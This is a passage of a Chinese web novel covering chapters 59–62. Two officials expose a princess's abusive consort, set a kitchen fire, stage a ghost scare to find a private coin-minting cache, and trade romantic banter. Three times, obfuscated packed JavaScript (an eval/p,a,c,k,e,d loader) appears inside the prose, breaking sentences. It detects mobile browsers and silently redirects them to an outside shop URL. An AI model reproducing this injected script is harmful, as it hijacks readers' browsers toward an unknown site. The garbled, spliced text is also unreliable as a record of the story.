她缓步走到景轩面前,居高临下看着他,突然抬手,纤细的手指捏住他的下颌,微微用力,迫使他抬头看着自己,声音压得极低,只有两人能听见,“那你可知,这些人,是本宫找来的?若你不曾做下那些龌龊事,他们又怎会平白找上门来?” 景轩的瞳孔骤然缩紧,眼底的急切和辩解瞬间僵住,取而代之的是浓浓的震惊和惶恐,浑身的血液仿佛都在这一刻冻住了。 “有人将你的所作所为,一字不落地告到了本宫这儿,” 虞湘晔松开捏着他下颌的手,话音落时,反手一巴掌狠狠甩在他脸上。 “啪”的一声,清脆响亮,在府门外的空地上回荡。 景轩的头被打得偏到一边,嘴角瞬间溢出血丝。 虞湘晔的声音冷得像冰,“景轩,你我成婚尚不足一年,你就是这般回报本宫的?你让本宫觉得,恶心,又失望。” 打完这一巴掌,虞湘晔抬眼,语气恢复了平日里的平和,对着肖泽道:“本宫瞧着他二人似是伤得不轻,让府医好好医治。 今日之事,是本宫的驸马有错在先,这位公子受了惊吓和伤害,本宫自会好好赔偿。” 肖泽再次拱手,躬身道:“草民今日找上门,并非为了赔偿,只是不愿公主殿下被蒙在鼓里,错信了人。幸而我家公子伤得不算重,赔偿之事,就不必了。既已将事情说清,草民等便告辞了。” 虞湘晔颔首,淡淡道:“多谢。” 一行人大张旗鼓地来,此刻又浩浩荡荡地走,朱语秋推着温瑞的轮椅走在最前,温瑞依旧垂着泪。 等人走后,公主府的侍卫上前,像拖死猪一般架起景轩和小厮,不顾两人的挣扎和哀嚎,径直拖进了府内。 府门“吱呀”一声,缓缓关上,将所有的狼狈和不堪都关在了门内。 燕修延和谢伟恒落在最后,燕修延从袖中摸出几枚铜钱,放在指尖把玩着,铜钱在他指缝间翻飞,发出清脆的碰撞声。 他偏头对谢伟恒道:“已经确定景轩手上有私铸钱,公主府这边的戏也唱完了,就不用进去凑那个热闹了。” 他手上的,正是先前景轩给面人郎的铜钱,还有手底下的人蹲守景家采买时,轻易弄来的几枚。 这些铜钱比官府铸造的要薄上些许,纹路也略显微糙,稍一对比便知是私铸的,景家参与私铸铜钱的事,已是板上钉钉。 原本的计划,是分两步走:先设计吸引景轩的注意,再设个仙人跳,逼他拿出私铸钱平事,顺藤摸瓜找到私铸的窝点。 谁料景轩色迷心窍,根本不用钓就主动上钩了;而派去蹲守景家的人,不过用了一筐子新鲜的野味,就从景家仆役手里换来了一袋私铸钱。 于是燕修延临时改了戏本,让白天铎和肖泽干脆利落地废了景轩,既解了温瑞的气,又能敲山震虎,让景家乱了阵脚。 “做工不错,不拿官府里新做出来的钱认真对比,我都看不出来。” 御书房内,几枚从景家人手上得来的私铸铜钱被摆在了明黄色的书案上,纹路模糊,质地轻薄,与一旁官府新铸的铜钱形成了鲜明的对比。 虞睿祥拿起一枚私铸钱,放在指尖摩挲了片刻,眉头微蹙,随即又随手丢回案上,发出“当”的一声轻响。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646217|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “皇妹那边,是何反应?” 谢伟恒垂手立在一旁,恭敬回道:“回陛下,公主殿下很平静。” 虞睿祥颔首,眼底闪过一丝了然:“朕知道了。” 燕修延从袖中摸出一个小巧的白玉瓶,放在书案上,瓶身莹润,雕着简单的云纹。 他推了推玉瓶,笑道:“喏,陛下,你要的东西,都在这瓶里了。” 说完,又拿起案上的几枚私铸钱,在指尖抛来抛去,玩得不亦乐乎。 他抬眼看向虞睿祥,语气带着几分玩味:“不知陛下接下来,打算如何查景家?这私铸铜钱可不是小事,背后定还有其他同党。” 虞睿祥将案上的私铸钱一枚枚摞起来,闻言抬眼,似是觉得稀奇,挑了挑眉:“朕如何查?这事,你自己去查便是了。” 燕修延一愣,伸手指着自己,一脸不可置信:“陛下,臣没听错吧?这么大的事,您让臣一个人去查?陛下这是无人可用了么?怎的事事都推给臣?” 虞睿祥随手拿起一本奏折,漫不经心地翻着,淡淡道:“朝中修沟渠、治河道的事,朕找过你么?” 燕修延抱着胳膊,一脸委屈,语气带着几分不满:“陛下倒是分得清,有油水的好事,何时想过臣?偏这些费力不讨好的苦差事,全塞给臣。” 虞睿祥将奏折往案上一丢,发出一声闷响,似笑非笑地看着他:“你往日抄家时,当真一文钱都没动过?那些贪官污吏的家产,你就一点都没私藏?” 燕修延闻言,突然一改方才的委屈模样,眉眼一弯,竟生出几分娇羞来。 他凑到谢伟恒身边,将头轻轻抵在他的肩头,还捏着兰花指,对着虞睿祥摆了摆手,声音娇俏:“陛下可真坏,竟拿这事打趣臣。” 虞睿祥:“……” 他看着燕修延那副模样,心里暗自琢磨:谢伟恒究竟看上燕修延哪儿了? 谢伟恒顺势揽着燕修延的肩头。 燕修延抬头冲他皱皱鼻子:撒开你的爪子,我可以靠,但你不可以搂! 谢伟恒依旧不动,对着虞睿祥道:“陛下,燕大人近日确实公务繁忙,手头还有好几件事未处理,若再接手查私铸钱一案,怕是分身乏术。” 进虞睿祥耳朵里的话,是这样的:要么加钱,要么给假。 他轻笑一声,干脆道:“那朕便赏燕卿白银千两,让你去买些上好的补品,滋补下身体,如何?” 燕修延的眼睛瞬间亮了,像淬了星光一般,甚至主动往谢伟恒身上靠了靠,换了个更舒服的姿势。 谢大人果然可靠! 轻轻松松一句话,就赚了一千两白银!别说搂肩膀了,就是搂腰,也随便搂! 不过片刻,他又觉得脖子酸,直起身子,搓了搓手指,一脸急切:“陛下放心!这查私铸钱一案,臣就是不睡觉,也定要查个水落石出,揪出所有同党,给陛下一个交代!” 他说“不睡觉”时,谢伟恒抬眼看向虞睿祥,眼底带着几分不易察觉的担忧。 虞睿祥瞧着他这副模样,无奈道:“倒也不必如此拼命,身体最是重要,觉还是要睡的。若是累垮了身子,朕上哪儿找这么个能干的臣子去。” 燕修延嘿嘿一笑,搓着手道:“陛下放心,臣的身子骨硬朗得很!那陛下没别的事,臣就先下去干活了?” 虞睿祥看着他那副急着领赏办事的模样,又好气又好笑,摆了摆手:“去吧去吧,放心,那一千两白银,少不了你的。” 两人躬身告退,御书房内又恢复了往日的安静。 虞睿祥看着空荡荡的门口,无奈地摇了摇头,嘴角却带着几分笑意。 罢了,燕修延虽跳脱,办事却素来靠谱,交给他,朕也放心。 他起身,理了理龙袍,对着门外的太监道:“摆驾,去长公主府。” ———————————— 燕修延:咋又是我?我跟驴似的,累死我得了!! 下章预告: 谢伟恒:“你许久不曾与我亲近了。” 燕修延:“我何时与你亲近……” 60. 老实点,别吃飞醋 宫门口的青石板被马蹄叩出轻响,燕修延刚落坐马车,谢伟恒便紧随而至,身侧的软垫微微下陷,两人臂膀相贴,温热的气息缠在一起。 未等燕修延开口,谢伟恒的声音先落,低哑带着几分委屈:“你许久不曾与我亲近了。” 亲……近? “我何时与你亲近?” 燕修延挑眉,指尖抵着膝头轻叩,回想刚才在御书房做了什么:“你管御书房里那番逗弄叫亲近?” 他刚不能叫逗弄吧,分明是故意膈应陛下,偏谢伟恒说的理直气壮。 话音未落,腿上便覆上一只温热的手,谢伟恒倾身靠近,鼻尖几乎擦过他的耳廓:“你以前会自己钻进我的怀里。” 燕修延抬手抵住他的额头,指腹抵着微凉的肌肤,语气带刺:“现在可不敢,从前你是温润君子,如今满脑子男欢女爱。” 有棍猴就上,说的就是谢伟恒。 谢伟恒眼尾微垂,长睫覆下一片阴影,活脱脱一副受了委屈的模样:“燕大人就这般想我?” “还特会装可怜。” 燕修延拍开他的手,“把你那爪子拿开。” 谢伟恒乖乖收回手,轻叹一声:“燕大人当真是郎心似铁。” “诶,说对了。” 燕修延笑得狡黠,“你之前朝上还说我行事无端、张扬乖戾、奸诈狡猾呢。” 这叫什么?叫搬起石头砸自己的脚,嘿嘿! 自己记性好着,专记他的“黑料”。 谢伟恒却不慌,指尖勾了勾他的袖口:“你行事无端,是无端招惹我。” 燕修延:……? 谢伟恒:“张扬乖戾,是甚是可爱。” 燕修延:……什么玩意? 谢伟恒:“奸诈狡猾,是深入我心。” 肉麻的话噎得燕修延扭头看向窗外,眉峰皱起:“早上吃的也不油,听你这话倒泛恶心。” 谢伟恒低笑,气息扫过他的颈侧:“不如请大夫搭脉,看是不是有了。” 燕修延活动着手腕,指节咔咔作响,心头的火气直往上冒,手痒得想揍人。 恰在此时,路边的议论声钻入耳中,碎碎的,却字字清晰。 “真的?那驸马岂不是成了太监?” “成太监已是最好的结局,说不定公主会直接……” “哪能呢,大虞律法可没说驸马行差踏错,就能杀头。” 燕修延抬手放下车帘,锦帘轻晃,掩去窗外的市井,他嗤笑一声,语气凉薄:“律法约束的,从来都是那些无权无势的人。” 长公主若真想杀景轩,随便安个罪名便是,陛下自会替亲妹妹料理好一切。 景轩,乃至整个景家,不过是砧板上的鱼肉,根本没有反抗的余地。 谢伟恒敛了神色,没再继续说让燕修延胃里反酸的话,指尖轻点膝头:“接下来你打算怎么查?” 燕修延竖起一根食指,眼尾挑着狠劲:“一个字,烧。” 景家那点龌龊事,查着都嫌脏,烧了倒也不心疼。 从前他瞧着景家不起眼,未曾放在心上。 如今随手一查,才发现这家人干的坏事,数不胜数。 马车行至一处小摊前,谢伟恒掀开车帘一角,指着那冒着热气的摊子:“吃驴肉火烧么?” 燕修延眼睛一亮:“吃!” 马车稳稳停下,谢伟恒唤来谢小厮,不多时,两个裹着油纸的驴肉火烧便递了进来,烫得指尖微麻。 谢伟恒将一个塞到燕修延手里,另一个递给了车外的谢小厮。 “你自己不吃?” 燕修延咬了一大口,酥脆的饼皮咔嚓作响,鲜美的肉汁在舌尖散开,烫得他微微嘶气,却直呼过瘾,“天上龙肉,地上驴肉,果然名不虚传。” 谢伟恒的目光落在他的唇上,唇瓣被油浸润得莹润泛红,唇角还沾了一点饼渣,惹得人心头发痒。 “我跟你吃一个就行。” 燕修延没多想,咬着火烧抬手,隔着油纸想掰一块给他:“掰这么多给你可行……” 话未说完,唇上便覆上一片温软。 燕修延的动作僵在原地,脑子里嗡的一声,只剩一个念头:狗东西,偷亲倒是越来越顺口了! 不过一口火烧的功夫,两人的唇瓣相贴,沾了淡淡的驴肉香,分开时,唇上都染了红润,带着几分暧昧的湿意。 燕修延皮笑肉不笑,指尖擦过唇角,语气危险:“驴肉火烧味的吻,谢大人觉得如何?” 谢伟恒勾唇,拇指轻轻揩过自己的唇瓣,眼神沉沉的,带着浓得化不开的笑意:“驴肉虽味美,终究不及燕大人的唇,鲜嫩可口。” 燕修延抿着唇,面上似火燎一般阵阵发烫。 他愕然发现,自己竟似是习惯了谢伟恒这般时不时的亲一口。 不抗拒就算了,甚至……竟觉得有几分舒服。 “燕大人似是起了意。” 谢伟恒倾身,温热的气息拂过他的耳边,声音低哑撩人,“需要帮忙么,燕大人。” “不用!”燕修延猛地偏头,坐远了些,双腿并紧。 不过一个吻,起不了多大的意,他深吸几口气,强行平复心头的乱麻。 手上的驴肉火烧被忘在了一旁,渐渐凉了下去。 他随手将火烧塞进谢伟恒手里:“凉了不好吃,你吃。” “好。” 谢伟恒接过,慢条斯理地吃起来,动作优雅,即便是吃着市井小吃,也难掩一身世家子弟的雅气。 只是他每吃一口,目光便会落在燕修延身上,沉沉的,带着笑意,看得燕修延浑身不自在。 忍了又忍,燕修延终于开口,语气带着几分恼羞成怒:“你吃东西就吃东西,别每吃一口都盯着我看,行不行?” 谢伟恒抬眸,拇指揩去唇角沾的一点残渣,指尖带着淡淡的油光,他勾唇笑道:“原来燕大人这般关注我。” 燕修延闭了闭眼,再睁开时,目露凶光,扯着嘴角笑:“谢大人要不要试试,我抠人眼珠子的速度有多快?” 谢伟恒非但不怕,反而身体前倾,将脸凑得极近,鼻尖几乎碰到他的:“燕大人不妨带我开开眼界。” 四目相对,燕修延看着他眼底的笑意,心头的火气没处撒,最终只能败下阵来,狠狠扭过头去,闷声道:“哼!下次拷问人的时候,定带你去长长见识。” 谢伟恒低笑出声,眉眼弯弯:“好,我等着。” 回到家吃完饭,入夜时,一弯月牙堪堪挂上树梢。 有句古话怎么说来着? 今月黯淡残缺,挂在天穹如同湖中残叶,不经风波,藏留隐。 正准备动身去景家时,院墙上便传来轻响,温瑞一身黑衣,利落翻墙而入:“头儿,大景水乔装打扮,从中书令府的小门进去了。” 景水,景轩的父亲。 这个时候去中书令府,用意再明显不过,自是为了景轩的事,求中书令帮忙周旋。 燕修延抱着胳膊,靠在廊下的廊柱上,指尖轻点着臂弯,沉吟片刻,冲温瑞勾勾手指。 温瑞立刻凑上前来。 一旁的谢伟恒突然抬手,展开一把折扇,轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646218|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻挡住了燕修延的脸。 扇面绘着水墨山水,遮住了他眼底的算计。 燕修延伸手抽走折扇,没好气道:“老实点,别乱吃飞醋。” 温瑞眨巴着一双求知的眼睛,挠了挠头:“头儿,谢大人吃什么醋啊?” 燕修延抬手,用折扇在他脑门上敲了一下,力道不轻不重:“少废话。” “你去收拾收拾,等景水回府,吓唬他去。” 温瑞听完,眼睛一亮,连连点头:“明白!头儿放心!” 这边吩咐妥当,景府那边,已是乱作一团。 景水从中书令府回来时,脸色阴沉得能滴出水来。 一路无话,踏入府中,连府里的下人都不敢上前搭话。 景夫人早已等在正厅,见他回来,连忙迎上去,声音带着哭腔:“老爷,轩儿的事……怎么样了?中书令大人可有法子?” 景水沉默着摇头,脸色难看至极。 景夫人见状,顿时捂着脸哭了起来,哭声凄厉:“那可如何是好啊……轩儿要是真没了命,我也不活了……” “哭哭哭!就知道哭!” 景水被她哭得心浮气躁,猛地一巴掌拍在八仙桌上,红木桌面发出一声巨响,茶杯震得哐当响,“福气都让你哭没了!他今日落得这般下场,还不都是你往日惯的!” 景夫人被他骂得一噎,泪水涟涟,却不敢再哭出声,只是抽噎着:“我……我也是为了他好……” 话音未落,院外突然传来一声惊呼,带着惊慌失措:“不好啦!厨房走水啦!快救火啊!” 紧接着,便是杂乱的脚步声、呼喊声,还有木桶碰撞的声响。 景水脸色大变,猛地站起身,快步出去,远远便望见火光冲天,橘红色的火苗舔舐着屋檐,浓烟滚滚,映红了半边天。 快步往厨房走去。 躲在暗处的燕修延,靠在斑驳的墙根上,看着那片火光,挑了挑眉,语气带着几分意外:“哦?难道私铸钱的窝点藏在厨房那边?” 嘿,倒真是歪打正着。 他原本打算烧库房,后来瞧着厨房离库房不远,便烧了厨房。 厨房起火比库房起火更寻常,不易惹人怀疑,没想到竟烧到了点子上。 身后突然伸来一只手,轻轻捏了捏他的后颈,温热的指尖带着熟悉的触感。 燕修延回头,狠狠瞪了谢伟恒一眼:“你皮紧了是不是?!” 谢伟恒低笑,指尖摩挲着他颈侧的肌肤,语气暧昧:“那不如燕大人替我松快松快。” 燕修延咬牙,伸手推了他一下:“你这人,真是一点脸都不要,倒适合扮演无脸鬼。” 他话音刚落,景府的方向便传来一声凄厉的尖叫,刺破了夜的宁静:“鬼啊!!!” 火光映天的背景下,几个正在提水救火的下人,无意间仰头,便望见一袭白衣自火光中缓缓飘过,衣袂翻飞,在浓烟与火光的映衬下,隐隐约约,看不真切,竟似是悬空而行,没有半点脚步声。 那下人吓得魂飞魄散,手里的木桶哐当一声摔在地上,清水溅了一地,他连滚带爬地往后退,嘴里不停喊着:“鬼!有女鬼!是来索命的!” ———————————— 今月黯淡残缺,挂在天穹如同湖中残叶,不经风波,藏留隐。 白话:月黑风高夜,杀人放火时。 下章预告: 燕修延抬脚对准谢伟恒的脚面一脚下去,眼见着快踩到了。 谢伟恒也没有挪开,他说:“民间俗语,打是亲,骂是爱,爱到深处用脚踹。” 61. 谢侍郎绑架啦 景水赶到时,廊下风卷着厨房的烟火气扑脸,一道披头散发的白影竟足不沾地,直挺挺朝他飘来。 他惊得后退半步,抬眼便撞进一张光滑无五官的脸,那惨白的面皮在昏暗中泛着冷光。 景水的嗓子像被无形的手攥紧,半点声音也挤不出来。 燕修延在暗处尖细的哭嚎,裹着怨毒的颤音:“王爷!你害的梦雨好苦啊!” “那是个足月的男胎呀!” “那是你亲手抛下的亲生骨肉啊!” 无脸鬼飘得更近,衣袂擦过景水的鼻尖,带着一股冷腻的脂粉味。 景水终于挣开那股窒息感,声音抖得不成调:“我不是什么王爷!我是太仆寺景水!冤有头债有主,你寻错人了!” 温瑞顿住,身形僵了僵,似在分辨这话的真假。 燕修延又喊,尾音却悄悄压了几分:“可你身上有王爷的气息!你定是在骗我!天下男人都是负心汉!” 话落,他趁谢伟恒未开口,飞快偏头低声补了句:“谢大人,我知道你不是。” “无脸鬼”抬手,那只涂满白粉的手枯瘦如爪,眼看要碰到景水。 景水“扑通”跪倒在地,额头磕在青石板上,闷响一声:“我真不是!景家世代寒门,从未出过王爷!” “无脸鬼”歪了歪头,空荡荡的脸对着景水,像是听进了这话。 随即猛地转头,朝着中书令府的方向望去,那处夜色沉沉,檐角隐在树影里。 “我知道他在哪儿了!” “无脸鬼”陡然拔地而起,竟是真如旱地拔葱一般,轻飘飘越过景府的墙头,眨眼便消失在夜色里。 燕修延从暗处探出头,戳了戳谢伟恒的胳膊,小声挑眉:“温瑞这功夫,怎么样?” 谢伟恒淡淡瞥他:“没有你好。” 燕修延撇嘴:“……我学的轻功不是这种。” “不论是哪种,你都是最好的。” 谢伟恒的声音轻缓,裹着夜色的温柔。 “快!快救火!” 景水半晌才回神,连滚带爬起身,扯着嗓子催下人。 火是燕修延早布下的小引,只烧了厨房一角,扑救得快,没蔓延开来。 景水在厨房外绕着圈,走到柴垛旁时忽然顿住,指尖捻了捻地上烧焦的木屑,转头吩咐管家:“夜深了,修缮的事明日再议,明早的朝食,让人上街去买。” 待人潮散去,夜色重归寂静,燕修延和谢伟恒穿着白衣披散着头发,带着罗刹面具走到景水停顿过的地方。 这模样凡来个人看见了他们,怕是魂都要吓飞了。 燕修延抬脚拨开柴垛下烧焦的树枝,露出一块盖着木板的地口,语气笃定:“像是个地窖。” 木板上挂着一把黄铜小锁,看着不起眼,却锁得严实。 小意思。 不一会,“咔哒”一声,锁开了。 燕修延随手摸出张废纸,用火折子点着丢进去,见纸张燃得顺畅,便知里面通风。 两人弯腰顺着台阶往下走。 谢伟恒掏出两颗夜明珠,莹白的光映亮了地窖,他递过一颗给燕修延。 燕修延接过来,借着光打量地窖,四壁堆着腊味筐和干货,一股子咸腥混着烟火的味道。 他随口调侃:“谢大人倒像个百宝箱,什么都有……你贴我这么近做什么?” 夜明珠的光打在罗刹面具上,眼窝处的黑洞透着瘆人! 谢伟恒抬手摘下面具,俊朗的眉眼在微光里柔和,轻声道:“我怕黑。” 燕修延会信么? 显然不会。 他嗤笑,抬脚就往谢伟恒脚面踩去,眼看要碰到。 谢伟恒却半点没挪,反而轻笑:“民间俗语,打是亲,骂是爱,爱到深处用脚踹。” 燕修延一声不吭的把脚收回来。 谢伟恒露出遗憾的表情。 地窖里的气味很杂,腊味、霉味,还有不知明的味道。 燕修延拉过谢伟恒的袖子捂在鼻子上。 谢伟恒的衣服用沉香熏过,清冽的香气用来盖味道刚刚好。。 燕修延:“回头也让人给我熏个。” 他以前总觉得熏衣服娘们唧唧,现在倒觉得挺不错。 谢伟恒应得爽快:“好。” 燕修延用脚踢踢放满东西的筐子:“如果景家把私铸钱藏在这里,估计是有暗室。” 地窖门上就那么一把小锁,别人想进来还是很容易的。 谢伟恒指尖一寸一寸在墙壁上摸索,指尖抚过粗糙的石壁,不放过半点异样。 “这么大地窖,你这么摸,摸到明天早上都摸不完。” 燕修延其实也没想到什么好办法,但这不妨碍他嘲讽谢伟恒。 谢伟恒笑了笑,眼底盛着微光:“我素来运气不错。” 话音刚落,他的指尖顿住,触到一处石壁,手感竟比别处光滑许多,像是被人反复摩挲过。 谢伟恒稍一用力,按向石壁的凹陷处,“轰隆”一声轻响,那片石壁竟缓缓向旁滑开,露出一个仅容一人通过的窄口,里面透着更浓的铜锈味。 燕修延沉默了一下,半晌没说话。 他跟着谢伟恒走进去,拐过一道弯,他忽然道:“你陪我去赌场吧。” 燕修延手气素来差,就算赌场不做手脚,也能输得底朝天。 谢伟恒失笑:“在家陪你赌便是,赢了也是你的。” “那有什么意思,”燕修延撇嘴,“左口袋进右口袋,没滋味,要赢就赢别人的钱。” 谢伟恒眼中的笑意更深,揉了揉他的头发:“好,陪你去赢别人的钱。” “嚯!这么多铜板!” 燕修延眼前忽然豁然开朗,莹白的夜明珠光里,几十个大箩筐摆得整整齐齐,筐里满满当当都是铜钱,堆得快溢出来。 抓了一把在手里,松开手。 是铜钱“叮当叮当”落在筐沿,清脆的声响在静夜里格外动听。 “怪不得人人都爱财,这声音是真好听。” 燕修延啧啧感叹,掏出怀里的官制铜钱对比,私铸的铜钱边缘粗糙,分量也轻些,一眼便能分辨。 确实是私铸钱。 “行了,咱们走。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646219|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 燕修延拍拍手,指尖沾了点铜锈,凑到鼻子下闻了闻,“一股子腊味,定是混在腊味筐里带进京城的,倒藏得隐蔽。” 谢伟恒忽然从身后覆上他的口鼻,清冽的沉香裹着他的掌心温度:“走。” 燕修延含糊嘟囔:“谢侍郎绑架啦。” 谢伟恒失笑,拦腰抱起燕修延随后又放下——入口太窄,抱着过不去,除非扛着。 燕修延挑眉笑话他:“小谢侍郎不行啊。” 说完,身子像泥鳅般溜滑,贴着石壁窜了出去,动作干脆利落,回头还冲谢伟恒眨了眨眼。 两人重新锁上地窖的锁。 刚直起身,就听见不远处传来细碎的脚步声,伴着压低的交谈。 两人对视一眼,纵身跃上旁边的老槐树,藏在浓密的枝叶间。 来的是景水和景府管家。 两人都没提灯笼,厨房这边的灯全灭了,只有远处廊下漏来一点微光,他们走得深一脚浅一脚。 厨房莫名失火,景水的脸色在昏暗中透着焦躁。 他心里总悬着一块石头,那无脸鬼的模样还在眼前晃,本想独自来查,又怕真的撞鬼,只得拉上管家壮胆。 两人掀开木板,摸进地窖,半晌才出来,景水的脸色松了些,想来是确认了私铸钱安然无恙。 刚要转身,管家忽然死死抓住景水的袖子。 “老、老、老爷……你看树上……” 景水心头一紧,顺着他的目光抬头,树影间立着两道白衣身影,黑发披散,在夜风里轻轻飘动,像极了方才的无脸鬼。 他腿一软,嗓子里挤出一声惨叫:“鬼、鬼啊!” 话音未落,燕修延和谢伟恒同时从树上跃下,夜风卷开遮脸的发丝,露出脸上狰狞的罗刹面具,眼窝黑洞洞,獠牙翻卷,在微光里看着格外瘆人。 景水和管家见这模样,眼前一黑,齐齐晕了过去。 那晕倒的姿势却格外别致。 管家直挺挺平躺,景水竟一头栽下去,脸正怼在管家脸上。 换而言之就是脸贴着脸,嘴对着嘴。 出了方家,燕修延随意束起头发、摘掉面具,憋笑憋得肩膀发抖,掐着谢伟恒的胳膊才没笑出声。 大晚上的,不好笑的太大声。。 一回到住处,关上门的瞬间,燕修延再也忍不住,放声大笑起来,笑得直揉肚子:“哈哈哈!真的是只要活得久,什么都能见得着!你说他们明天醒来,看见那模样,得是什么表情?哈哈哈!” 谢伟恒靠在门边,眉眼含笑,笑得不如燕修延夸张,却也眼底带暖:“若是醒得迟些,被景家下人撞见,那才更有趣。” 燕修延点着他的胸口,笑眼弯弯:“谢大人,论损,还是你更胜一筹啊。” 谢伟恒握住他的指尖,轻轻摩挲,声音温柔:“哪里,都是燕夫子教的好。” —————————————— 下章预告: 谢伟恒想要抽回手腕:“大约是不小心在哪里撞到了。” 燕修延手上微微用力:“扯吧,你给我演示下怎么能撞到内侧……” 62. 你就瞎扯吧 谢伟恒抬手解了外袍系带,松松搭在旁侧的衣架上,骨节分明的手指探向博古架最上层的东西时,宽幅的锦袖顺着小臂滑落到手肘,露出一截瓷白似玉的胳膊。 “哎,你这胳膊怎么了?” 燕修延的声音陡然沉了些,伸手便扣住他的手腕,指腹触到那片突兀的青紫时,眉峰瞬间拧起。 那青紫凝在胳膊内侧,形状竟还带着几分指印的痕迹,绝非磕碰能成。 谢伟恒下意识想抽回手,指尖微挣:“大约是方才收拾东西,不小心撞到案角了。” “扯吧。” 燕修延手上稍一用力,却又在触到谢伟恒微僵的动作时松了劲,目光冷睨着那片青紫,“你给我演示下,怎么撞能撞到胳膊内侧,还撞出这模样?” 想到什么,燕修延忙松开手,果见谢伟恒的手腕上已被自己捏出一圈淡红的印子。 “这是我掐的吧?”他语气软了几分,带着点懊恼,“你当时怎么不叫我松手?” 谢伟恒垂眸将衣袖拉回原处,掩住那片青紫,唇角勾着温和的笑:“当时我也觉得好笑,况且也不疼,所以没注意到。” “你就瞎扯。” 燕修延伸手戳了戳他的额头,力道轻得像拂过花瓣,“都青成这样了,还说不疼,我给你涂药。” 不由分说便将人按到床边坐下,掌心按着他的肩,“你这屋有活血化瘀的药膏没?” “真没事,只是看着唬人罢了,内里没伤。” 燕修延:“不许动,告诉我有药膏没。” 谢伟恒无奈轻叹,却拗不过他的坚持,只得抬了抬下巴,“柜子最下面的小抽屉,碧青色的木盒,里面便是。” 燕修延转身拉开抽屉,指尖先触到个眼熟的玉瓶,愣了愣没在意,便搁在一旁,拿起那木盒折返,坐到床边拉过他的胳膊,小心挽起衣袖。 指腹沾了药膏,轻轻在青紫处打圈推开,微苦的药香漫开,萦绕在两人鼻尖。 “你啊,”燕修延一边涂药,一边碎碎念,“平时惯会装可怜博我软心,真受了伤倒硬气的很,半句话都不肯说。” 谢伟恒垂眸看着他专注的模样,睫羽轻颤,唇角的笑意温柔得漫进眼底:“这不一样。” 燕修延没再追问,只将药膏涂得均匀,待那片青紫都覆上一层薄药,才替他拉好衣袖,把木盒放回原处。 “喝水不?” 谢伟恒摇摇头,目光扫过案头的书卷:“方便的话,拿本书给我吧,谢了。” 燕修延随手抽了本封皮泛黄的册子递过去,自己则掀了床幔,蜷进床里歇着。 谁知谢伟恒翻开看了一眼,便轻轻搁到了旁侧的矮几上。 “不喜欢?”燕修延探出头。 “这是山野游记。谢伟恒道。 燕修延以为他嫌题材平淡,不喜欢看,便要起身:“那我给你换本策论?” “不是。” 谢伟恒指尖点了点书封,“这本是山野志怪游记,尽是些神神叨叨的故事。” 燕修延噎了一下,扫了眼满架的书,嘟囔道:“……尽是这种书。” “罢了,今日早些歇息吧。” 谢伟恒笑了笑,起身吹熄了案头的蜡烛,屋内只剩窗棂外漏进的一点月色,朦胧了满室的静谧。 另一边的公主府,却是另一番冷沉的光景。 烛火摇曳,映着虞湘晔冷艳的眉眼,她放下手中的蜡烛剪,蜡芯的余烟袅袅,她端起案上的酒杯,浅抿一口冷酒,唇角勾着一抹讥诮的笑:“景轩那厮扛不住刑,全招了,这般龌龊事,竟做了不止一次,就连我府上的几个面首,也有被他得手的。” 景轩好男色,却偏嗜穿女装的男子,这荒唐的癖好,此刻听来只觉令人作呕。 虞湘晔只觉得荒唐、可笑。 她先前只觉府中几个面首忽然涂脂抹粉,只当是学了勾栏院的样子讨她欢心。 如今想来,竟是为了景轩,或是被逼无奈罢了。 一旁的虞睿祥指尖叩着案面,面色沉凝:“朕记得,皇妹府上的人,皆是太妃用惯的老人,从宫里带出来的,皆是心腹,景轩做下这些事情,居然没有传出风声来?” “我身边的人自然没问题。” 虞湘晔放下酒杯,杯底磕在案上,发出一声轻响,“是景轩藏得严实。” 景轩出手大方,愿从的,得了好处自然不会说。 不愿的,便被他打晕了蒙眼灌药,事后趁夜送回去,床头搁几两碎银子。 那些人便是想告,也不知告谁,更惧他的官位和驸马的身份,只能吃了哑巴亏。 虞湘晔冷笑一声,眼底翻着寒芒:“倒是本宫小瞧了他,竟披着一副老实温厚的皮,藏着这般龌龊的心肠!” “皇妹莫要动气,气坏了身子不值当。” 虞睿祥从怀中取出个莹白的小玉瓶,递到她面前,“这是监察司药师特制的假死药,服药后第三个时辰气息渐弱、口不能言,第五个时辰便如没了气息一般,脉象皆无,足以以假乱真。” 虞湘晔岂会不明白自家皇兄的用意—— 她审景轩,没有问和私铸铜钱有关的事情,她知道自己定然问不出来。 且景轩是朝廷命官,绝不能死在公主府,否则晋王那边必然生疑。 唯有让景轩“假死”,才能将人带出府慢慢审,也能让虞湘晔好好出了这口恶气,还不惹来事端。 